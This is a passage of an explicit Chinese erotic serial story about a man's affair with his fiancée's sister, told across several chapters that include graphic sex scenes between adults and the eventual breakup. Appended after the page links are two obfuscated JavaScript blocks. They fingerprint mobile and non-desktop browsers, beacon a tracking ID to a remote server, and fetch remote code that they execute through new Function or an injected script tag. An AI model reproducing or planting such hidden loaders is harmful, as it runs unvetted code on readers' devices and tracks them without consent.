“是啊,这些马铃薯煮的很软。”我随口附和。

事实上,我嘴里嚼的并不是什么马铃薯,不是慧仪辛苦买回来的花椰菜,而是偏食的我最痛恨的红萝卜。“咦,汤里面有什么硬硬的东西……”

“嗯,人家也吃到了,硬硬的一小块。”

慧仪跟婉婷同时皱起眉头,小嘴嘟了起来。

“慧仪,对不起!一切都是我的错!”我心底反复默念着道歉的话,等待着死刑宣判的瞬间。

“啊,原来是鸡骨头。我都忘记把汤再过滤一次。”

圆熘熘的眼睛转啊转,婉婷一脸古怪的表情,从小嘴里吐出一小块骨头,轻声笑道:“哈哈,人家吃到的也是鸡骨头。”

平日天真可人的笑容现在看起来异常邪恶,可是我一脚还踏在悬崖边,根本没有多余的心思跟她生气。

“太好吃了,我要再来一碗。”奶油浓汤只剩下半锅,应该会比较好找,我囫囵喝下碗里的最后一口,快步飞奔到厨房里。

不料,慧仪却悄悄跟在我身后。

“今晚煮的实在很成功,我也想再吃一碗。”

“吃太多会变胖喔。”我说着违心之论,企图吓走瘦到不行的慧仪,一面把努力握最后一分机会,在汤锅里翻找。

“偶而多吃一碗应该没关系吧,难得这么好吃。”慧仪拿起我的汤碗,从我手中接过杓子,舀动着浓汤。

内心的绝望到达顶点,眼光不由自主飘向坐在饭厅里的罪魁祸首。

婉婷的视线同样正对着无助的我,嘴角着洋溢令人又爱又恨的笑意之外,红润双唇之间竟然含着一枚闪耀的戒指!

“拜托,别再闹了,快点把戒指还给我。”

“吻我!”丁香小舌上的戒指灵巧地消失在嘴里,婉婷噘起诱人的樱唇,在我身旁低声耳语。

“啊!?”

“现在吻我,在姐姐面前吻人家……”

我慌张地摇头拒绝,而厨房里传来水龙头刷洗的声响,爱整洁的慧仪大概正在顺手清洗流理台上的汤渍吧。

“人家要姐夫以实际行动来证明爱我!”

婉婷眼神中流露出意外的坚定,我决定放弃无谓的抵抗,大嘴立刻封住噘起来的可口樱桃。滑动的戒指在口腔之间游走,翻动的舌头努力争夺着,无暇理会唇齿美妙的碰触。

仿佛不过几秒钟,又像持续了好几世纪,时间的定义突然变的混沌,我完全失去方寸,只能尽力挣扎。终于,坚硬的戒指停留在我嘴里,鲜美的红唇牵连着数条黏稠的银丝,慢慢地分开了……

深唿吸了一口气,我猛然转过头来,只见走出厨房的慧仪正面对着我们,三人的视线正巧连在一起,慧仪双手端着两盘浓汤,眼神直直地盯着我们。

慧仪面无表情地慢慢走近,揪着的心跳几乎要停止。

“连嘴角都不擦,跟小孩子一样!”洁白的餐巾擦拭着我唇边残留着汤渍,慧仪温柔地埋怨道,嘴角泄出一丝温柔的笑意。

除了极力赞叹不脱色唇膏这种伟大的发明之外,我的脑海再度一片空白,再也无法思考想其他的事情了。

晚间十点。

指上套着忠贞爱情的证明,我默默把慧仪洗净的碗盘放进碗橱里。

在慧仪的脸颊上轻轻一吻,准备好要离开,经历了一晚的紧张刺激,此时的我不禁感到身心俱疲。

“今晚别走…我想…要…”

似乎经历一番内心挣扎,才说出这句挽留的话语,慧仪牵着我的衣角,俏脸依偎在我的怀里。

望着慧仪,脑中一片空白,我不由自主牵起纤弱的小手,相偕走入房里。

这应该是我第二次在这个家里跟慧仪做爱。

由于妹妹的缘故,慧仪把家里当作性爱的禁地,禁止一切亲昵的举动,记得上一次经验在两年以前,婉婷放暑假跟朋友外出旅游三天,微醺的我们比平常更加放荡,整晚的激情持续到午夜。

我不懂含蓄的慧仪为何会提出这样直接的要求,原本以为今晚波动不休的情绪不适合近女色,事实上,我的心一下子就被撩动了。鹅黄色的半罩杯托起白嫩可爱的娇乳,我揪着怕羞的乳蒂,指头固执地搓揉着,一口含住整圈乳轮,贪婪地吸吮着。

仿佛奶油浓汤般白腻的胴体平躺在床上,我捧起秀气的脚踝,舔着平滑的小巧玉足,轻快的节奏向上游移,轻啄着粉红与漆黑的部位,一面聆听着天籁般的娇吟,一面让彼此的情欲升温。

晕红的双颊看起来特别动人,除了熟悉的温柔,还有一种说不出的妩媚,慧仪似乎变了个人,变的有些陌生,变的更艳丽……

小手轻抚着棒身,原本软绵绵的肉柱立刻变的硬直,花瓣一般的双唇碰触到灼热的顶端,仿佛遭受到高压电流的冲击,销魂酥麻贯穿全身,我忍不住惊唿出声。圣洁的舌头竟然开始舔舐污秽的肉块,深褐色的表面受不住刺激,伞状的肉冠逐渐张开,慧仪慢慢地含住膨胀的肉棒,细腻地吸吮着。

舌头舔过藏有污垢的缝隙,慧仪笨拙而认真的侍奉着我,交往至今,我们从未进行如此大胆的交流,但是在快感冲击下,我根本无法开口说话,此时脑海中竟然浮现婉婷所说的姊妹故事……

忍受不了进一步的快慰,我奋力将全身充斥的欢愉反馈到美丽的女体上,手指在粉嫩的菊蕾附近搔弄着,遭受刺激的圆臀闪避着亵玩,可是,我知道慧仪的情欲将因此沸腾。浅浅探弄着前后穴洞,湿濡的粉红肉芽自行缠弄入侵的异物,夹击的快感让怀里的玉人不住呻吟,滚烫的肉棒顶在洞口来回磨蹭,肥美的肉唇流出黏稠的汁液。

“坐上来。”我牵引着慧仪的腰肢,让白玉般的女体与我结合。

羞怯而迟疑的表情提醒了我……

这时我才猛然惊觉自己从未以这种姿势与慧仪享乐,比起尽情开发潜藏官能的婉婷,我与慧仪一直以熟悉的默契寻欢。

“子浩,你……爱我吗?”

“当然…爱,小傻瓜,为什么怎么问?”

慧仪默默坐上了发硬的肉棒,湿润的肉门被顶开,一口气贯穿到最深处,慧仪狭窄的径道被用力撑开,搔弄着彼此敏感的官能神经,收缩凝聚着快感,引出阵阵猛烈的欢愉,我躺着欣赏爱侣截然不同的媚态,搓揉着白嫩的肌肤,酝酿着超越高潮的颠峰。

“仪,你在上面要自己动,才会舒服。”

“嗯…嗯。”慧仪的双颊更加红润,雪白的肌肤染上一层樱色,泛着潮红的性感增添几许娇艳,纤弱的身躯骑在我身上,显得更加妖魅。

我扶着纤弱的腰肢,推动着粉臀,椒乳乱颤,仅堪一握的腰肢充满韵律地舞动,宛如绮丽的波浪,怒张的肉冠刮弄着密径,频繁地摩擦着平常接触不及的敏感肉壁,慧仪捂着自己的小嘴,依然不停泄出美妙而模煳的婉转娇啼。

“喔喔喔!好舒服,再来!喔喔喔!”

仿佛赛马的最后冲刺,坚实的肉棍以超快的频率急速抽插着,我们毫不保留地发泄,彻底释放全部的快感,似乎承受不住悦乐的娇躯不断向后仰,双腿却眷恋地夹在我的腰间。

一墙之隔就是婉婷的房间。

我几乎可以想像到婉婷用枕头盖住头,嘟着嘴生气的模样。

虽然不确定墙板隔音的效果,我肯定隔壁可以听到所有不该听到的声音。几乎要压坏床板的激烈碰撞声,慧仪与我原始奔放的嘶吼,激情乐曲在房间热烈演奏着,迎接曲调中最后一小节的高潮。

慧仪高昂的情绪与平日做爱的态度大不相同,不知道是否今天的她故意去迎合我的喜好,不,或许贪恋地骑在我身上才是慧仪的真正喜爱的方式,温柔的她只是一直习惯压抑而已。

无论原因为何者,我突然感觉自己并未真正了解身旁的女人……

姊妹情缘(6)

“明天可以陪人家吗?”

“姐夫得要去加班,最近工作很忙呢。”眼光不安地四处飘移着,似乎想要闪避什么,我撇过头小声回答道。

“那后天晚上呢?”

“后天还是要加班啊。”

婉婷继续耐着性子问道:“那周末可以吗?”

“抱歉,最近都不行……”

“真的是去工作吗?还是跟姐姐有约会?”丰润的双唇颤动,婉婷的语气跟表情有些诡异,歇斯底里到有点吓人。

“婉婷,你别这样……”

“姐夫,如果你真的爱我,那就跟姐姐解除婚约吧。”

“别开玩笑了好吗?”

紧紧咬着下唇,用力到唇色几乎发紫,眼眶里布满腥红血丝,婉婷的表情逐渐变的狰狞吓人,小手在皮包里摸索着,竟然掏出一把水果刀。锐利的刀锋闪着光芒,亮的让人发寒,绝对不是仅能用来切水果而已。

从来没有想过电影般的情节真的会在自己面前上演。

婉婷倒转刀锋,正对着自己的咽喉,脸色发青,吼道:“快点答应人家,不然人家马上死给姐夫看!”

刹那间,我根本来不及思考,只能冲过去紧紧抱住婉婷。

胸膛突然一阵剧烈的疼痛,只见血花飞溅,我的双手沾满浓稠的血浆,腥红的血雾渐渐遮蔽了视线,一切变的模煳……

“啊!”我猛然从睡梦中惊醒,汗水湿透了整件上衣。

瞥过头来,身旁只有淡淡的芳香与枕头上的一缕发丝,我轻抚着残留爱人体温的被单,陷入深沈的思绪之中。

由一个谎言到下一个谎言,无论量或质皆以等比级数地扩张着,欺骗与背叛编织成的密网包围之下,仅存的一丝真实早已完全迷失。

原因是不堪承受激情消逝后的罪恶感,还是厌倦了在躲藏之间获得快感,答案连我自己也不明白,但是,胸前的剧痛是异常地逼真,超越了梦境般的真实,比起感官上的隐隐作痛,我不禁跪倒于心底更深刻的痛苦之下。

无论如何,慧仪都是我的未婚妻,长久的交往象征一种责任与承诺,无关于情欲的厚薄与浓淡,彼此之间联系的感情是难以计算的。

一直无从秤量的感情似乎开始朝天平的一端开始倾斜……

对于我的意外邀约,婉婷显得十分开心。面对她灿烂的笑容,我与内心的犹豫再度角力着,撑出来的笑脸说不出地勉强。

“人家买了新的泳衣喔,下星期我们一起去游泳吧。”

压下对性感比基尼的美好憧慬,我摆出最认真严肃的面孔说道:“我有点事情想跟婉婷谈一谈。”

“人家不想听!”

“婉婷……”

“人家先换泳衣给姐夫看吧,很性感喔。”

几块小到可怜的橘色布块由绑绳系成一件超性感的泳装,以面积来计算,绝对包不住那对傲人双峰,让人联想到肉光致致的迷人景象。

直接脱去短窄的上衣,丰挺的肉球在眼前摇晃,挂上了全新的比基尼泳衣,亮丽的夏季风情与小麦色的肤色形成最融洽的搭配,客厅顿时变成奔放的海湾天堂,婉婷的热情似乎还未停歇,继续解着牛仔短裤的扣子,可爱的圆脐与平坦结实的小腹充满无限热力。

婉婷把我的双手牵引到美妙的双峰上,她的心跳借由强劲的震动传入我的心中,我可以把一切的杂念置之脑后,专心享受婉婷带给我的身心抚慰,但是我却清楚听到自己的声音正大声说道……

“我们这样下去是不会有结果的。姐夫实在不能继续耽误你了,婉婷可爱又年轻,跟别的男孩在一起应该会比较幸福。”

虽然苦思多时,嘴里吐出的对白老套愚蠢到了极点。

“姐夫现在想把人家甩掉吗?”

晴朗的艳阳刹时间乌云密布,婉婷表情的变化令我无比讶异,美丽的脸庞洋溢着失望、痛苦、嫉妒、怨愤各种情绪,万分复杂的神情跟平日天真可爱互相对比,显得异常深刻。

“哼哼,从小到大,身边的所有人都认为人家比较贪玩、比较任性。不管是爸爸妈妈、朋友,还是男孩子,表面上比较喜欢我、宠我,事实上心底爱的都是乖巧温柔的姐姐。”

婉婷冷笑着,神色近乎疯狂。

“现在,连子浩也是这样吗?”

这是婉婷第一次没有唤我作“姐夫”……

一直以为婉婷就像在赤道,永远都是最灿烂的炎夏,没想到单纯的她内心有如此多的挣扎,存在如此深刻的阴影。

“只要姐夫高兴,无论多难堪的事情人家都心甘情愿去作,做爱也无妨,口交也好,甚至怀孕了,必需要堕胎都没关系………人家只想好好去爱一个我最爱的男人而已。”

“因为变的越来越爱,人家才会变的越来越贪心。”婉婷强笑着说道:“其实人家只要姐夫心里还有我就可以了,就算一周只能见一面,就算只打一通电话或简讯,人家就满足了!”

晶莹的泪珠滑落,近乎哀求的语气像针刺在我的心头!

“姐夫,你千万不要离开人家!”

“你可以打我,可以骂我,但是不要不理人家,我不会跟姐姐争的。”婉婷热烈的抱着我,似乎把整个人都挤入我的体内。

拥抱着哭泣的泪人儿,我们互相热吻着,湿热的泪珠流过彼此的唇边,嘴角咸涩的滋味远不及我内心的酸苦,唇舌热情地纠缠在一起。无法狠下心来把婉婷推开,我只能承受着她给予的拥吻。

除非是真正无情的男人才能拒绝女人的泪水。

我并不是无情,恐怕是太多情了……

在抉择与徬徨之中,时间过的似乎特别快,周旋于谎言与真实的游戏中,战战兢兢的日子一天又一天。

慧仪与我的婚期正式决定在明年初。

……我已经陷入进退两难的绝境。

无论时间心思,不够分摊给两个如此美好的女人,尤其肩上的负担越重,仿佛踏入泥沼之中,不停向下沈沦,永远无法抽离。

虽然答应继续跟婉婷交往,其实我们已经数个星期没有见面,表面上是因为婚事忙得不可开交,其实我故意回避正视自己的心情,逃避决定自己的人生,盲目地任由现实来驱策我,恍如行尸走肉。

阳光和煦的周末午后。

采购完日用品,我跟慧仪来到小公寓楼前,原本想借口不上楼,可是太多、太重的大包小包让一个男人责无旁贷。

“婉婷早上就出门去了,大概跟朋友有约。”慧仪看似不经意地说道,脸上没有一丝多余的表情。

钥匙转开笨重的铁门,屋内赫然传来婉婷甜腻的声音。

“嗯,人家刚刚才到家呢……”婉婷接过慧仪手中的提袋,无邪的笑容依然甜美,却显得有点勉强。她故意不正视我的眼光,却在提起我手上的购物袋的瞬间,偷偷握紧了我的手。

或许我不应该上楼的……

陪着慧仪把日用品放入橱柜中,暗自思量着离去的时机,我仿佛老练的水手能从晴朗的天空中看出暴风雨的端倪。

“姐姐要结婚了,婉婷也该找个好男人。”

慧仪淡淡说道:“现在交往的男友,找个时间让姐姐认识一下吧。”

“喔,那个负心的混蛋,人家已经把他甩了!”

“呃,是吗?”慧仪柔声说道:“男人的外表、经济能力虽然重要,但是最重要的还是彼此的相处。然而相处之道除了俩人共同点之外,还有夫妻之间互补的部分,身为一个女人,无论料理或处理家务都是互补的重点。”

慧仪朝着我甜甜一笑,在婉婷眼角余光不停凝视我的情况下,勉强回了一个有点尴尬的笑脸,我低头把瓶装牛奶与果汁放进冰箱里,但是我留意到婉婷的双颊已经胀红了。

“姐姐总是帮姐夫挑选衬衫领带、整理房间,看起来好像很温柔体贴,事实上,不过是向其他女人宣示主权而已。”

我从来不知道婉婷的口舌竟然如此刁钻毒辣……

“姐姐只是在发泄自己过剩的支配欲!”

慧仪沉默了几秒钟,淡淡说道:“那婉婷不停换男友,根本没有面对真爱的准备,盲目追求像一夜情般的激情,只是单纯在挥霍青春罢了。”

“姐姐一共也没有交过几个男友,恐怕连男人的真面目都不了解呢,开口闭口说什么真爱,实在太可笑了。”

姐妹间的口舌之争演变到难以想像的局面,但是,身处风雨之中的我隐约感觉真正的暴风圈并为到来,似乎有更恐怖的一幕伺机登场……

“别吵了好吗?你们都是好姐妹,为什么不能坐下来好好谈呢?”虽然知道可能让情况变的更糟,我还是忍不住插嘴了。

婉婷望着我、望着慧仪,神情是从未见过的冷酷,我似乎在一瞬间听见了理智在她脑中断裂的声响。

“开口闭口都是什么真爱,那姐姐当年为什么背着我勾引俊宏?”

揭开了内心最深的禁忌,慧仪的脸色突然变的苍白无比。

仿佛要撕开渗血的伤口,直到见骨为止,婉婷继续说道:“姐姐明知道他是我最爱的男人,竟然还不知廉耻地勾引他上床,枉费人家当初那么相信姐姐,最后居然被姐姐给骗了。”

“他只是在骗你而已!”慧仪失去了一贯的冷静,歇斯底里地喊道:“俊宏同时间噼腿的女人不知道有多少,婉婷不过是被他骗了!”

“他是婉婷的初恋,姐姐知道你一定放不开,所以只好……”

婉婷不敢置信地问道:“所以姐姐跟俊宏上床,然后要他甩了我?”

“他不是真正适合婉婷的男人,婉婷爱错人了。”

“真的爱上了,哪有什么对错之分!”眼眶里滚动着泪光,言词锋利的婉婷终于也彻底崩溃了。

夹在姊妹的风暴之间,我像是断了线的操偶,丝毫无法动弹,纠结的爱恨由原点一路延续到眼前,根本无从一笔带过。

“从小到大,我都不是一个可爱的女人。我学不会撒娇,也不懂讨人喜欢,所以只能做个乖巧懂事的女人。这几年来,我总是觉得子浩会喜欢婉婷这样可爱的女人,而婉婷好像也对子浩有意思……”

慧仪的眼角噙着泪水。

“我对妹妹一直存着歉疚,甚至担心婉婷会因此报复,所以我竟然对子浩说谎,希望你会因此疏远婉婷。其实妹妹一直是好女孩,没有随便跟男人上床,更没有堕胎过,全都是我这个坏心姐姐捏造出来的谎言。”

话到最后一个字,泪珠终于从眼眶里滚落。

“子浩,你知道我最讨厌别人说谎了,这次你千万别再骗我了。”

“……嗯。”我慢慢擡起头,注视着我的未婚妻。

“你是不是跟婉婷发生过关系?”

令人窒息的沉默仿佛持续了一世纪,我们三人之间所有的点点滴滴在海脑中倒带,一幕接着一幕在心底重新演绎了好几遍。

此刻,我终于做下定了决心……

“是的,我跟婉婷有过关系了。”

“姐夫,你为什么要承认?你为什么不说谎!”泪水顿时夺眶而出,婉婷大声吼道:“你为什么这么笨!”

“对不起,我们一起做爱的次数已经多到数不清了。”

慧仪默默望着我,表情没有丝毫讶异。

“啪!”慧仪使劲打了我一巴掌,淡淡说道:“这是为了你欺负我妹妹!”

“这一掌是为了你背叛我、欺骗我!”

慧仪的玉手再度举起,我呆呆站着,像是一尊雕偶,不自觉规避着她令我羞愧的视线,红肿的左脸颊隐隐发麻,刚才那一掌确实很全力,下手毫不留情。比起肉体的疼痛,内心的缺憾仿佛被撕裂开一个大洞,任凭何种牺牲都难以弥补,此刻我仅能咬紧牙关,忍耐应得的惩罚。

没想到……

闪过眼前的一掌看似万分用力,当白腻的掌心接触我的面颊时,却只是轻轻柔柔地抚过去,仿佛是一阵微风。

逝去的微风。

姊妹情缘(7)

“抱歉,路上塞车。”

姗姗来迟的慧仪小跑步冲进咖啡厅。

“我也是刚刚到而已。”等候半小时的我苦笑说道。

咖啡厅里放着悠闲的轻音乐。

小桌上放着一个牛皮纸袋,所有物品整理的整齐清楚,完全符合慧仪一贯的习性,而她的态度看起来冷静自若,丝毫不见分手造成的伤痛或愤怒。

“这些都是你的东西,如果还有缺的,再叫婉婷跟我说。”

过了几个星期,看起来慧仪的情绪已经完全平复。

“没关系,其他都是一些小东西,不重要了。”

“嗯。”慧仪点头说道:“对了,还有这个……”

只见慧仪慢慢从秀气的指上褪去戒指,将一起挑选好几个下午的订婚信物亲手放在我的掌心。她沉默地望着我的脸,表情凝重,仿佛是最后一次。

我猜不透慧仪是想要牢牢记住所有,还是想要下定决心狠狠遗忘一切,才给了最后这般留恋的眼眸,无论何者,都让我感到无比的悲哀与悔恨。


上一篇:上美女学生会会长

下一篇:饮料店小咪跟我做爱


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};